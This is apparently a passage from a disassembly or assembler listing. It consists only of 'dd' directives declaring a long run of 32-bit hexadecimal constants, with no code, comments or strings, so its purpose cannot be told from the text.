		dd 44584E31h, 0DEC132Fh, 750E61BFh, 0ABD18959h,	824DD9E4h
		dd 3A485A2Bh, 3880E3CAh, 20CB5498h, 7FA292Ch, 0E92D0820h
		dd 0BBD4E0DBh, 844E309Dh, 7A69EB98h, 4B7F4802h,	575A3BE9h
		dd 7EB53444h, 1C690BA5h, 5392F3DCh, 118AEA0Dh, 3059297Bh
		dd 846E4D23h, 5F6CCB21h, 0CE759189h, 0B2B3A137h, 504BA27Bh
		dd 9F13A6BCh, 55FFAF60h, 8150429h, 6889A7FAh, 24798A8Bh
		dd 0B208628Ch, 80BF5BE9h, 29BA5F1Ch, 0A496A813h, 0D19C16BEh
		dd 0FD68EBB1h, 9F084028h, 6C58BA76h, 901B2A97h,	1875070Fh
		dd 0D6F24505h, 0B37833BBh, 754ADD5h, 18574129h,	5871C160h
		dd 0F8564AAAh, 0B19D4C06h, 0ED3AF021h, 0EB07DA57h, 5B8CFA2h
		dd 455BE468h, 98DD30F8h, 12B05AF4h, 1FBE6A00h, 0E97FC09Ah
		dd 31C24A5Eh, 6F71414Dh, 0D63C6E60h, 4F19B067h,	0B28FC7D3h
		dd 89F90341h, 45C1A396h, 1AE1B7BDh, 13DDA07Bh, 1C30A94h
		dd 5F4FE2EBh, 0EE69F20h, 204A4340h, 1398C92Ch, 0A10AD438h
		dd 7C16AACh, 8704FF05h,	39BFC0B5h, 0FEF830FAh, 0C565A09Dh
		dd 9D412A94h, 62F61F8h,	0EF1D1825h, 34282815h, 7ED50E9h
		dd 1AD5AE9h, 312C2597h,	9AD2CB0Dh, 13F47A7Dh, 0E8DF41A2h
		dd 0D72D1807h, 306B4BD9h, 0B97672ADh, 8D125294h, 0C317EE29h
		dd 85F89013h, 0C64FD3A8h, 4013AFE4h, 2A07B940h,	0C12DF95Eh
		dd 0F1A680B9h, 5BC6C9A8h, 5C1DEA77h, 961D4286h,	6732DBEh
		dd 13C27F2Ah, 7CCDBBDAh, 0EF972732h, 32876195h,	9FE8DFCBh
		dd 0D697F3CFh, 0A113D09Ah, 1D20BE81h, 0FBA09F7Dh, 2DABBA52h
		dd 8137FD00h, 146A23F2h, 9954BD3Bh, 0E0E9D360h,	8A479EC6h
		dd 8D878B9Dh, 7F0647FDh, 4BFAA109h, 27418A89h, 46D71924h
		dd 0D68FF49h, 0CD25B14Ah, 9583D641h, 0A0854A1h,	57D85C9h
		dd 0C2097BC1h, 1AFF4AEAh, 0A9E6FDFEh, 5FEC4D4Dh, 51CA2EA2h
		dd 686683E7h, 0E1CA6D7Eh, 0BA01B95Eh, 4E167C90h, 5F65F680h
		dd 0DAF757D9h, 0F6D7E92Fh, 22C280B5h, 59619B45h, 72F6FE97h
		dd 28D5D1D7h, 81DBBC9Eh, 0DA25CDC5h, 0BEE49850h, 1502F517h
		dd 9970DE23h, 1BEB5D18h, 641265EFh, 3D847A04h, 0E38582h
		dd 0B4685155h, 2F070312h, 0E98598B9h, 48940108h, 6B46A666h
		dd 0DF018784h, 1A6E274Bh, 12675F20h, 0FE7F6C1Dh, 92EA7720h
		dd 0BBF55D2Bh, 21C93060h, 1607D47h, 98B85013h, 27A60565h
		dd 0D958C389h, 0D1493BF5h, 0D6DF429Eh, 3D450B2Fh, 94F568B2h
		dd 0B71B7EFCh, 0FBCAD951h, 0CE225497h, 0AF79DC30h, 5D5932D5h
		dd 95B1947Bh, 0B450CCE9h, 6FEC685Fh, 0AAE87525h, 80CAFE01h
		dd 0EACC5CC2h, 6B2C4C33h, 0AED0DB12h, 70AE0BDCh, 0B93AE119h
		dd 0EDDD738h, 95F27BA8h, 0E5D4B12h, 9CABD6FEh, 6839537Bh
		dd 33FA1863h, 536B8DAh,	0E916054Bh, 7F3DB91Dh, 372F0090h
		dd 83351221h, 161F1CBCh, 0A857E523h, 0EA7C0F6Eh, 8325DD76h
		dd 0B9F9319Ch, 8B2288F7h, 0EA2D5984h, 0F8018B90h, 9AC69051h
		dd 7DA4C1C7h, 0F9708C36h, 0ACE06FD6h, 2980E77h,	0E9C2F74Fh
		dd 0FA5FD523h, 0D40500FFh, 2D09B10Ch, 130566DDh, 9E0DE928h
		dd 3192A7BCh, 3F87FA21h, 4061C0B1h, 5EF31585h, 0A364AF31h
		dd 4EEC6B1h, 6152EB01h,	0EB9BC4BFh, 167EF839h, 9439FA48h
		dd 9EFD61F2h, 8F4A303Ch, 18E90C7Ah, 9C12303h, 1D84444Fh
		dd 571E4583h, 1750FC2h,	721B7FD0h, 3E96B83Bh, 7EAE17B2h
		dd 878B6201h, 0F23B167Ah, 13FA5BA0h, 10CBAE30h,	5369AA5Fh
		dd 41576A52h, 0A60B9FCh, 0ED4A498Eh, 0E9EF1F73h, 89B426E5h
		dd 14F777B6h, 83E92FC8h, 0B188907Dh, 0C1801FA0h, 0B8944938h
		dd 5CB5989Eh, 2DA5C832h, 294E4BD2h, 7E8B1CA1h, 30D5CDA5h
		dd 952B87EDh, 0E9121146h, 0EE353135h, 0E4073504h, 303FCDBBh
		dd 59955BA1h, 6855C0A8h, 455842F1h, 0C3BF18E8h,	1C0AEAB3h
		dd 0D21CB55Dh, 0D186B35Fh, 99E90DA6h, 832FA89Dh, 0C29550F6h
		dd 12DADF02h, 172EB016h, 0A8044AFCh, 1D248C4Fh,	0D09E2B8Bh
		dd 2DD3705Ah, 0A17F0626h, 3E52B2FBh, 4AFBEB30h,	0A1F7ECB1h
		dd 0DA7BD1Dh, 0BB182CF4h, 13EAF225h, 0E1FEDCB7h, 10523218h
		dd 0A84E9F3Ah, 334255Ah, 94CA883Dh, 976EB2AFh, 0DA19CAFh
		dd 5F3B9A9Fh, 0E6FA845Ah, 0F37F1260h, 5F0826D8h, 19CF834h
		dd 2AF12F9Dh, 1D748FE9h, 7E9512BEh, 4A2E84Fh, 199B2F47h
		dd 4BC8C3EAh, 681FB4E0h, 7661B025h, 2A45C1AAh, 0EDF77030h
		dd 0F2E9060Bh, 0C3E75FFBh, 0DC426B16h, 4940478Fh, 0D4F156FCh
		dd 0A24B1B34h, 7F5F8DBh, 0A6034B8h, 0B1DAA56Bh,	0D4882F0Ah
		dd 4A49C3Dh, 0F21BC668h, 96985B71h, 33444A94h, 0B385FE8Ah
		dd 89FF9361h, 6C6041E8h, 9E203FBDh, 964659AEh, 0BCFC2790h
		dd 6064E970h, 815A146Bh, 66137EE2h, 0D2003F07h,	6D630DF2h
		dd 7930EB31h, 4CE497D7h, 0DEEDB72Dh, 18DF49CFh,	70E7685Fh
		dd 84F49715h, 121E6870h, 87378F4Bh, 1008958Ah, 230C4DFh
		dd 0A80AB312h, 30A62058h, 0CEEECF96h, 0FBC12D97h, 0FDA889D5h
		dd 11E9E221h, 0C8E37FB8h, 0BD039600h, 0E8E78161h, 6B771C16h
		dd 266903E3h, 7D03CE5Ch, 0B00D9061h, 2C6EBAC7h,	2007A9Ah
		dd 2FED78B8h, 21A1DD40h, 80B4EB28h, 4CDFE917h, 273D24B4h
		dd 55FE692Ch, 9E8CE08h,	1275D387h, 4845406Ah, 0FE4245Ah
		dd 0EF150C18h, 2AF7D5ABh, 5C05A701h, 1EB2C79h, 6CD81D8h
		dd 3E541B76h, 0EE0BBCC0h, 948CA066h, 9DAF4811h,	602CA010h
		dd 403576B8h, 0C0585972h, 49A165Eh, 0E9E5CC4Bh,	0E190C434h
		dd 0D1D3DAE9h, 0A598BCB2h, 5A15FC31h, 9554635Eh, 413842E4h
		dd 2CBB5A65h, 7A12E034h, 0C200134Ch, 560A5D82h,	2EE91657h
		dd 8761F478h, 0EA5BCB79h, 55CA61FCh, 1F5F00A7h,	77BD6E66h
		dd 3E174616h, 1D62930Ah, 0D75AD02Ch, 22CB1CFBh,	5866184h
		dd 0DD963257h, 19023F2Ah, 770D235Ah, 88324F8h, 8C561C4Ah
		dd 3B14BA00h, 2F29779Dh, 14A25BDEh, 9742A4Ah, 0FD274352h
		dd 0E98206B2h, 147D98E4h, 0A471272Bh, 60C2418Dh, 2B3DF175h
		dd 2DEE4A5Ch, 0FDA13E5Eh, 0E26FF3E5h, 10EED686h, 52428D2h
		dd 1502027Ch, 0FB60019Dh, 6E5C5DECh, 8E8410F0h,	924BF24Eh
		dd 0FF9A6B21h, 0C2326C11h, 0ECEB5455h, 7C0522AEh, 0FB012C3Ah
		dd 0EB848D24h, 744A8D0Ch, 4E74E298h, 48AACD2h, 9595E51h
		dd 4FE971C8h, 5D19C362h
		dd 926BD638h, 70827776h, 2CC08156h, 0B202379h, 3DB450CFh
		dd 250F0EB5h, 5020B935h, 0F929FD2Fh, 44E15F4Bh,	12602282h
		dd 0B60754Bh, 372CF0ECh, 80258322h, 7968B956h, 3D4A7AE8h
		dd 957BA28Ch, 98A7F6C5h, 8207EAE6h, 74F24052h, 3EB3A35Fh
		dd 0CA55D925h, 250FF662h, 0A57387F8h, 79120424h, 0C907A282h
		dd 8274554Dh, 0F3204BA4h, 66F623F6h, 43C4B59h, 1B875C3Fh
		dd 5CDA6782h, 0AEE27897h, 9DF96FE1h, 3C92E9A0h,	9D12BDD6h
		dd 0BDCB260Dh, 0F8996642h, 25F90FEh, 79890F27h,	5AF5D6F7h
		dd 6EE060Bh, 18046A71h,	0E57C86C2h, 0F815E037h,	5B880ABh
		dd 30A1630Bh, 0F239AF31h, 3FA16DEBh, 8D58958Bh,	0F6663A13h
		dd 8B819206h, 8000D097h, 79F00EE3h, 56104D69h, 0AFF60BCCh
		dd 0B460787Ch, 0FA40BC53h, 60E2AAACh, 0B8C620AAh, 7FF50432h
		dd 0C4109917h, 0B02481CAh, 9C189F68h, 41FD394Bh, 6CDC1E1h
		dd 0A65531F4h, 0A603A1FBh, 2006B539h, 336D7866h, 0D6C2832Dh
		dd 2B2CD03Eh, 0E9D82805h, 37AF07B0h, 65CD3071h,	0D2B509B8h
		dd 0C10882FCh, 0F8548BF7h, 0E6D810FBh, 0BFDB7112h, 70B054C8h
		dd 0EAD99742h, 0FD90F5CBh, 2D4A0B68h, 17B98E30h, 4C3C3C19h
		dd 5745CEAFh, 0ABC8CB0h, 0E9631612h, 0B8DDBABFh, 75F29AEDh
		dd 68040665h, 9AEE21B3h, 62680B1Ah, 6401745Ch, 6617EFCEh
		dd 0D88D2DEAh, 163961F6h, 0F13116EAh, 0A7A9E780h, 0E9390BD3h
		dd 14DDF2D8h, 5D1C768Dh, 8B9ECD5Dh, 1A7851E9h, 642D8B02h
		dd 8935582Ch, 89B9606h,	31EE685Dh, 509CE90Bh, 0AD6A850Bh
		dd 0E9896AD1h, 295B7029h, 3D8BE230h, 1DC80EA5h,	0F2707F1h
		dd 0A723F206h, 73E90680h, 545E7297h, 6802268Bh,	7FFD6508h
		dd 3051554h, 8643DEE9h,	9F51CF88h, 0B8AB45FFh, 4622C3BDh
		dd 0E47EE2ECh, 1164072Dh, 5A3C91B7h, 0FBFA0112h, 37E22A67h
		dd 65A27CA9h, 168C579Bh, 0C6393830h, 0B41BE00Ch, 10E40C01h
		dd 5491D61h, 451764C9h,	0EE28D0B8h, 140CD108h, 4120A27Ch
		dd 0C7122F9Fh, 29BCC87Fh, 0A498C9F7h, 9D70E4DFh, 0A4205C04h
		dd 861EF68Bh, 0C149FD26h, 466AA5E6h, 0A8F41B83h, 0B731644Fh
		dd 0EA40F861h, 65F6020Bh, 627F56D2h, 3392EEF4h,	0E958B756h
		dd 0A73463F3h, 85B3ADC2h, 394FEDDh, 565E0805h, 8159FC0h
		dd 0BE333B22h, 3FA7313Fh, 0E9185DE4h, 6871E516h, 0D7F1955Fh
		dd 1A5D73BCh, 2EE680CAh, 31BD3A74h, 290A2F0Ah, 0EB2C6EC5h
		dd 9EBC42D2h, 0EBA9F2C9h, 45E7B9B1h, 0C15E55C2h, 992C7D59h
		dd 0C17C662Ch, 482EDB68h, 232DF151h, 0FDDCCAE8h, 0E9E246DBh
		dd 15E5C4Bh, 0B14CB3BAh, 0D1A53A3Eh, 3A64A5F9h,	0FA214E5Ch
		dd 70FBCD13h, 0E957515Bh, 10A61927h, 53D7684Ah,	0B205D179h
		dd 0EBDAF6B6h, 12B71AD8h, 857EE99Dh, 93F1BD60h,	0B461642Dh
		dd 0C19EF97Ah, 2903685Eh, 0F725CDA7h, 591A685Ch, 84B8E912h
		dd 0E4733922h, 99345BC4h, 0D147F881h, 0CDAE1AD7h, 0B6C3F027h
		dd 0EF0BDDBAh, 9058DB4Dh, 820FDDB6h, 752F627Dh,	5D94468h
		dd 8B2023FCh, 13062D04h, 49D2B4Eh, 9FA856F2h, 670CBFC5h
		dd 0BDCD94FCh, 5BD81EDFh, 57DE5E09h, 83486190h,	0E0EEC07Eh
		dd 0B9AAC0C6h, 0A8DCED2Fh, 0EB9F9ECCh, 20C16457h, 12F94F8h
		dd 9504CCEEh, 0C6BF1D78h, 0BB6F3039h, 0CF2DC82Dh, 635C1000h
		dd 0D9669A05h, 4D5EB706h, 9617D04Ah, 1CE4E98Dh,	0E64CB4B7h
		dd 0F4125453h, 4F85E10Ah, 4ECE38C4h, 4C7B24Ah, 7EEC158h
		dd 9652DC0h, 1FF2202h, 0DC835273h, 97FD2DAEh, 0C7F001CCh
		dd 68D54157h, 0B009D627h, 663DE03Fh, 69C92FBAh,	0AB562F1h
		dd 58A07E17h, 15A209BAh, 3B802D95h, 79B421Eh, 16F4998h
		dd 87F28053h, 0B725F9D3h, 0CAE99E41h, 2D09FB70h, 822E5D22h
		dd 5758C3CEh, 12B1F2A0h, 0E93A14F4h, 6686B89h, 8A5569DFh
		dd 9BE77D93h, 17A00581h, 43D457FFh, 28C1030Ch, 612A422Dh
		dd 28DD1F8Dh, 1154F907h, 4E3C1B16h, 287190C3h, 0CB90A4Fh
		dd 22072901h, 0FD129D84h, 18FA1511h, 7ED4121Bh,	82370E3Fh
		dd 2E527CEFh, 0F3FDB62h, 0DC4B99B8h, 68083661h,	0C5050007h
		dd 0F765A750h, 0FE490D8h, 20AB695Dh, 0C44ADA04h, 87A71E3Dh
		dd 6070E07Dh, 6A4402CAh, 0D4B96450h, 0A83B3F3Dh, 7220D131h
		dd 0E6BF1FAEh, 0BA27997Eh, 76C8FFCEh, 39B6C6E9h, 62E6F92Fh
		dd 0B403E21Ah, 5AF4801Bh, 2E400C0h, 5216C480h, 0D46494E9h
		dd 92AA495Eh, 16F74187h, 0D46229FDh, 565C8BD1h,	0DCC272FCh
		dd 0DF6801FEh, 259F332Fh, 976D5650h, 0E4B5277h,	0AEBD9325h
		dd 51DD7A86h, 0AB5E49D8h, 78BD7E27h, 9260FAE9h,	566AB852h
		dd 25420066h, 4DD12A5h,	11055D35h, 0C5316936h, 0A009A8C7h
		dd 30E1B080h, 0CBC1F5C1h, 15CA887Fh, 0E2CA4E5Fh, 9002FF4Bh
		dd 772B65A9h, 275AD29h,	54B0D0BFh, 6B3283C3h, 0EBB00CBDh
		dd 0CA2E5D30h, 3E289411h, 0DBE90880h, 4CE6954Eh, 0B3CA052Dh
		dd 41169354h, 8F2AC2A1h, 0CCE34EB1h, 0BF39645Eh, 0FD921FB2h
		dd 9926844Dh, 0CBD83105h, 7E8B5B4Ah, 609EC710h,	267977D6h
		dd 88E89C40h, 5A128DE1h, 5001D1ECh, 0BC2C5BB8h,	0A821FC61h
		dd 84D84BCBh, 0B55B091h, 10305218h, 0CEA0E220h,	0F7C0F64Ah
		dd 0DF4FA6EEh, 0C6292E36h, 0AF3B2643h, 0C6372B2h, 0FB5D0BCCh
		dd 53726E8h, 0BA19A227h, 7D08C150h, 2764AF37h, 0A8064DB0h
		dd 0F9012F56h, 0F27D4312h, 91CC2523h, 0E55C9D91h, 5B6C64EFh
		dd 4930F99Dh, 0FF2E1784h, 0E45907DBh, 0A7028F0Bh, 0E9038160h
		dd 37764830h, 2C7C3FCEh, 0DAA1C63h, 207FAC92h, 403EEBA9h
		dd 0D93BAF77h, 0D72D3905h, 35F09A72h, 25AC0218h, 928C47Eh
		dd 0A3E9CA47h, 0DBE55029h, 20B30608h, 0CC2920BEh, 9584D89Dh
		dd 515B3768h, 5DCFB901h, 0BDE93F4Ch, 0EE4F876Ch, 44DD2604h
		dd 5CD588FFh, 62D7665Dh, 0E49975BEh, 0D4483055h, 4FA0EBE3h
		dd 0FF4B9109h, 89A67C33h, 2D55F568h, 0B67B9C08h, 5D5ACB9Fh
		dd 0C1623EC5h, 624507E1h, 5168EB35h, 539F3026h,	0C38D8838h
		dd 4375E2Dh, 0FED0042Bh, 0D0A68309h, 0A5681270h, 0E06F132Dh
		dd 1E7FD3B5h, 36E77A50h, 4FFE271Eh, 0B2B32409h,	0AB4DC07Fh
		dd 15549F90h, 6B767B40h, 4D12FA0Eh, 6791DE95h, 4F649940h
		dd 18A8A3BAh, 520EEC3Fh, 50DA3988h, 5DFD0ADh, 0A8C1FD3Ch
		dd 777EC8A2h, 0AF9AB22Dh, 9842A077h, 0C0074F62h, 0AD766D0Ch
		dd 0C2B50108h, 0E0080A12h, 54397000h, 4F52521h,	0E931C171h
		dd 55A9A0FCh, 0F1BD9DECh, 3EEF2567h, 0F8FF2C1Bh, 24C5E5F1h
		dd 38EFF8E1h, 466B718Ch, 88A10D6Eh, 0A93E48h, 184E5A30h
		dd 607C5976h, 483A1B2Fh, 170ACEDCh, 0FB5D6AEBh,	0DEE91942h
		dd 99C7D599h, 0A16B8431h, 0AFE05151h, 0E9A8CC2Fh, 76D78435h
		dd 0EFA390FBh, 0D93CD114h, 20FAB3DBh, 0CDBB8553h, 2C05E9C8h
		dd 14573BEEh, 86DB6D98h, 4FF1E499h, 1712BDC7h, 0CBBA0C8Bh
		dd 0CA2C126Fh, 41AFA756h, 0A55EEDFAh, 307DF867h, 3EC5B7C0h
		dd 9D11CEC4h, 16F2FD02h, 1F05CD0Ah, 0C7C2837Bh,	47772D8h
		dd 994A7AE6h, 3EA2AE6Bh, 680DF080h, 3225E946h, 0BBD13051h
		dd 157782C1h, 0C2EB1102h, 59027768h, 6E6C257Ah,	54F8444Bh
		dd 0FBA40ED0h, 8F932099h, 0FB688560h, 0FB968DB7h, 0E040EFD4h
		dd 7A3F95C7h, 950F9073h, 9E6C7A40h, 2B774F4h, 2B9AC19Bh
		dd 4F610A01h, 18EEEC0Bh, 4305F692h, 5F376C4Dh, 0A70A82h
		dd 8023B151h, 0ADF663B0h
		dd 739CDE6Bh, 8968C17Ah, 37B32E08h, 1258B900h, 0A5E96213h
		dd 0D45F02EFh, 847F7AC7h, 99BB11E1h, 76B72FA0h,	0BFAEE750h
		dd 1366150h, 9D11D6C5h,	76D5AD9h, 0E09B1360h, 6A6C58F6h
		dd 7970320h, 7D0B8084h,	3456C512h, 56E55B06h, 1776000Ch
		dd 0EB090ECDh, 0F44F30E9h, 945840C8h, 61986A0Ch, 205AD701h
		dd 0C245EB90h, 4F34A487h, 0FEEA6577h, 3699027h,	1C463AAh
		dd 82055828h, 301BDA23h, 3516DDB6h, 0C0EE2C83h,	9D15CA24h
		dd 0B4016275h, 51AD91Eh, 0A02BE540h, 0B04BCFB2h, 0E06D3C49h
		dd 5DE468FAh, 0C4856F75h, 4E31E3ADh, 0E9823EF9h, 814463DFh
		dd 0C07BCA9Fh, 4F5E1F37h, 507BB6Fh, 2BE5C0D8h, 0CBFEF7C4h
		dd 0BD864E1Dh, 0B1681208h, 84DBEC74h, 20FB8D9Ah, 68565115h
		dd 0A9073C00h, 88E95E76h, 2AFD8125h, 1B4AF2Ch, 2D3A2F01h
		dd 0CA36FB67h, 0E94FA087h, 0DFA0327Fh, 60907D9Eh, 9680A4E5h
		dd 56A1C08h, 83FEC380h,	111E6952h, 0F2CBEBE2h, 1A060FDBh
		dd 201DC0D5h, 101C9D64h, 0D9615C4Fh, 0EB05BE30h, 0A08B3385h
		dd 0C7C0EC4Bh, 120E274Dh, 2CFC68BFh, 0B90EC09Eh, 6320477h
		dd 186A04FAh, 3E3B8D55h, 56890FE8h, 0E6A38996h,	9615108Ch
		dd 44DA3DFEh, 9AA360E1h, 13606845h, 236A2D0Ch, 0A4FAB551h
		dd 0C410883h, 0C2D82F14h, 7F705531h, 27E8AE61h,	0FB49012h
		dd 4D996010h, 0A852FB25h, 59EC05Bh, 27E9351Ah, 8048D49Fh
		dd 542D2FADh, 10BF63Ch,	46320E25h, 8109803h, 5BE90406h
		dd 0BB37014Ah, 30930173h, 0BC5AF266h, 4FCB37A4h, 2D328A9Ah
		dd 499BD2C2h, 3604C3D1h, 814D2942h, 0D1F140E4h,	4FF6E271h
		dd 0D801C810h, 0F8601D2Dh, 1C2D7A48h, 0E967207Bh, 60C0CADBh
		dd 2AB29BB5h, 59EA3E30h, 0DA49C03Ch, 0CC79DC17h, 0D24117AAh
		dd 0AA30E431h, 6938289Ah, 0C5E63AB6h, 0EE1F6597h, 0D2E98E02h
		dd 0E57E5E7h, 4C300168h, 21A73407h, 182AC301h, 63C468D9h
		dd 639DBC7Fh, 333923A9h, 0AC4D589Fh, 0A6D4975Ch, 7C9108EDh
		dd 3D50125Dh, 37CBDCB8h, 912734F6h, 473758FAh, 0FB36F919h
		dd 349CDDC7h, 2700BD94h, 2D078865h, 0ADA57B7h, 5E8011Fh
		dd 235D1207h, 249DE005h, 0BA93C448h, 814EBD2Fh,	884BC2A3h
		dd 2BD1D98Fh, 975A279Eh, 3CFCDE9Fh, 0BF5F1A38h,	1572B7Ch
		dd 437AA5BFh, 65ECE974h, 0F0B5219Dh, 73016A60h,	42B4F281h
		dd 0B84744F0h, 656E7411h, 67F472Ch, 0F1790E2h, 20071E12h
		dd 0E943DD76h, 751FC239h, 5CE2A2D1h, 580B09BAh,	28B7415Ch
		dd 979B02D9h, 1ABA5F47h, 273FBB5Ch, 5DFFE2B0h, 0FEF46464h
		dd 105CB249h, 0B9C00B1Bh, 1D5016F6h, 7EF18101h,	31623B48h
		dd 0B48ED06Eh, 0ED900776h, 6A01494Fh, 39DE03BAh, 48703C70h
		dd 5B80F781h, 2D42C567h, 55F2D30Bh, 8B1354FAh, 59F6BA6Fh
		dd 8FFB2D6Fh, 7C26E02Bh, 0AB42F526h, 0B3115F02h, 7B918235h
		dd 5FA5D59Dh, 30B1E808h, 12E73202h, 0E8885FA5h,	0A40C160Bh
		dd 51CF76A9h, 955CC1CBh, 8A328231h, 0FB4A316Fh,	58722306h
		dd 7764053Dh, 0A0BF2314h, 5F65105Ch, 93BC29D6h,	641C1B13h
		dd 5D49A913h, 0D5C28B1Dh, 79AFE3E5h, 40DD20FAh,	29256866h
		dd 4583C62Eh, 6F2E213Ch, 0ECE0DCCDh, 52363112h,	8B0818CCh
		dd 0F3102327h, 0DC321350h, 5B4FD949h, 0D22064FAh, 7DCAC832h
		dd 985DB77h, 0E023FCC2h, 50E8D17Fh, 0A2A2C529h,	0CBBAFFE3h
		dd 806966D9h, 407BFC44h, 95A903Ah, 1CF45B39h, 0D356A1FFh
		dd 570DA16h, 0FFCC540Eh, 2874F6CBh, 1BA4F48h, 3EE80AE5h
		dd 615BDE31h, 192CCC52h, 5660F58h, 2153BAA9h, 972A47A0h
		dd 47E60689h, 6E985CDDh, 1876E719h, 0C50AE25h, 4CF01689h
		dd 0FBEF6AC1h, 0A47A2003h, 0C897D09Ch, 2553EC2Eh, 0BDD30716h
		dd 5767C501h, 41306CFBh, 0B66E0571h, 94A4E952h,	9D09FE5Dh
		dd 20A0528Bh, 6CF577E0h, 575CA211h, 88E7F510h, 79EA8180h
		dd 96CB3DC3h, 874E86A4h, 8350535Fh, 10029073h, 912103BFh
		dd 0DD09DF5Dh, 109755Ch, 41C9F1F2h, 7E302E68h, 85022233h
		dd 8BBEF764h, 0A2CC18D4h, 0C416FF3Fh, 8CD38215h, 0C09F879Dh
		dd 5A3B85E3h, 52F1E4C3h, 70803A17h, 6C44C1AFh, 52F72FF3h
		dd 0C09A2E7Bh, 0B0C842EAh, 16A6BE00h, 0FC3C4AFBh, 25694C90h
		dd 0A0DED412h, 495E4E08h, 70549A8Ch, 4E7EE581h,	0C813664h
		dd 50F951C4h, 850E8045h, 0E905DE4Dh, 90C84F8Fh,	0BD688495h
		dd 3C8B7353h, 0DDF69FB5h, 66ECEDCEh, 7B0CBCE5h,	38D57B01h
		dd 0EF2C8AC5h, 19510BFCh, 778919D9h, 0FBA8A28Fh, 1E793038h
		dd 0BAFA037Ah, 59E65D4Eh, 0C7FCE10Ah, 5572029Ah, 0A3FC218Dh
		dd 0A97F6F8Eh, 2340E132h, 980DBC20h, 274471EFh,	60F62645h
		dd 0CB13C280h, 77E9A549h, 510954Eh, 4090D828h, 13B2C920h
		dd 0FBE58859h, 7A7D0F62h, 0DEC50594h, 0D005F538h, 6DF0859Ah
		dd 60210C2Fh, 1858CAFEh, 0C6FD542h, 3B314901h, 0B4A78017h
		dd 77ECAA45h, 13CCD540h, 23DEE53h, 13996838h, 0DE81B075h
		dd 71833073h, 7242E558h, 7864BD27h, 382B186Bh, 5348220h
		dd 551C2A09h, 12AED15Fh, 2006F192h, 1AFA5CD3h, 234B5426h
		dd 90E92216h, 2C680705h, 1011F352h, 0B85A080Ch,	72E610AAh
		dd 51E8B80Bh, 1A7FC40Bh, 0DE36212h, 162E7B0Ch, 5DD9ABE6h
		dd 953DEDECh, 53518198h, 0F9765EC9h, 21564936h,	5FBA54BDh
		dd 796EECBDh, 414AFEF9h, 0BA442EC0h, 5A0963FDh,	0E9786E56h
		dd 0FAE25A8Dh, 4CE15A20h, 0F775007Ah, 41122DD8h, 214E6DFAh
		dd 8A7844FEh, 0C19DEECDh, 0A4D76120h, 0DDC30BAEh, 62D01760h
		dd 985F0AFCh, 937562D7h, 7E21B3B0h, 9D50B0D8h, 0B6953D1h
		dd 3A457D9Ch, 0F200F0A6h, 2688178Eh, 5AD70289h,	0FC40522Dh
		dd 0E1A2E784h, 0CEF32E81h, 18D81FC9h, 0B5B5E24h, 1AAB0E09h
		dd 0A9F25F7Dh, 61557AFAh, 7E9E21A0h, 0FD2DA600h, 1D1FCA21h
		dd 0F70055Dh, 22620E2Ch, 1CC04C04h, 0E69F788Eh,	0C9372D1Ch
		dd 0B8C13AAh, 51807F27h, 0D3107C8h, 46E4E926h, 75D0018Bh
		dd 0A6807F64h, 0A51674FDh, 82B14B63h, 0EC28CDE8h, 155C0BF3h
		dd 7E002A93h, 362201E1h, 910F0B90h, 87511F03h, 0C792F9F7h
		dd 7755C02Bh, 446D171Eh, 0E76CB031h, 0A344975Ch, 0ED65D868h
		dd 14659232h, 0B3FA57A9h, 55A6D13Ch, 80A0223h, 0E9214D8Dh
		dd 4028A45Eh, 0CC555A2h, 0EA2070A8h, 9A5EBF8Ah,	4B47D83Ch
		dd 613D4A8Ch, 0EA805AC0h, 903430FBh, 0E62CD0ACh, 0CA03E905h
		dd 0E755F851h, 2AE1DF69h, 7B60D6EEh, 962752A1h,	212AC0C5h
		dd 99479FF5h, 0D5B3ED00h, 9F09E66Bh, 0F10A01D2h, 9A2FDD2Ah
		dd 617F6E05h, 5C7F580h,	1C13839h, 71CCFB4h, 0F9F0E908h
		dd 0B7888B5Eh, 2903428h, 0CD75EE56h, 0D307A189h, 81E7C55Eh
		dd 4952A2Ah, 0E272DCEFh, 10986B52h, 5C051C63h, 0E8585450h
		dd 0B55CB85Eh, 685226E0h, 0D60E9809h, 0D562094Eh, 0E57DA4A9h
		dd 0F8E90640h, 0F6B720FAh, 130C0344h, 27E9A934h, 6CBD2BBDh
		dd 0A5D83078h, 66CDFE34h, 0CB4BF8C4h, 15338FEFh, 3BF19314h
		dd 0E852AAE3h, 17D1F63Fh, 7DB4A8CAh, 61541E46h,	0B332CC62h
		dd 7EF693E5h, 77E0735Eh, 0BFC59A43h, 5C1655EDh,	0BDC6D0ABh
		dd 6B2570E5h, 89FD915h,	5100A1F8h, 0EE0513B9h, 0C2BF721Eh
		dd 0CF31569Eh, 32CD61h,	7453BB66h, 0EF6598D9h, 4F74E77Dh
		dd 9288ED0Dh, 3989F7BAh, 4502A581h, 89660592h, 7522EBF2h
		dd 0D5629254h, 0C327694Ch
		dd 3D4F659Fh, 9CFDF2A5h, 0C6F1B75Fh, 783DE08h, 8516C680h
		dd 59C9D225h, 7C718B55h, 975DCF54h, 0CE4B6249h,	0E0BF7BDEh
		dd 0B21B34DEh, 5DFAFA2Ah, 4F1058EFh, 0C954CF39h, 2770543Eh
		dd 0BDFA345Fh, 540959FBh, 4A8FF698h, 24AA100Fh,	702095Ch
		dd 0C4135F08h, 674838A5h, 0A12AA85Bh, 0D07B0EDDh, 1938EECEh
		dd 2F2EC63Eh, 5B59856Ah, 7CE0F2ABh, 0E8BF7C2Fh,	2C71E604h
		dd 125559ACh, 5965AA22h, 0B5B8D1FBh, 0D9FC2B8Ah, 0E9B1B884h
		dd 0A02D03F7h, 0E7275839h, 16F87044h, 4D2EFB92h, 0D3AFFC4Eh
		dd 8B6E8029h, 4056256Fh, 0EED0213Bh, 0F4A5541Ah, 0E8CB58CFh
		dd 5A646125h, 0B634F0h,	3C2B81Dh, 772D6C8Ah, 2D7C4CAh
		dd 0DFAC3017h, 68846351h, 31BB1FF7h, 3DBCD5E7h,	628E0B12h
		dd 4AC65011h, 0FEE921FCh, 32182BC5h, 76BED8Eh, 0B450DD28h
		dd 0BBCC8041h, 30E2B652h, 977AF449h, 6AB91ABh, 7E60E680h
		dd 663658E5h, 0F904545Bh, 0F5FC87D1h, 0DE91C7Ch, 34FF2564h
		dd 698E8899h, 9A4993Ch,	0ECF92773h, 102D3B1Dh, 0B5C46734h
		dd 23FE4327h, 9DD9304Ch, 273C63A1h, 5B16C835h, 2DC14E21h
		dd 0D3A5FCCFh, 0BFEF4BC0h, 0F6145A01h, 98865F16h, 0F4A7BD5h
		dd 9275D4DCh, 0CD801CACh, 10E5CAE0h, 8CDE1F9Fh,	68304AC2h
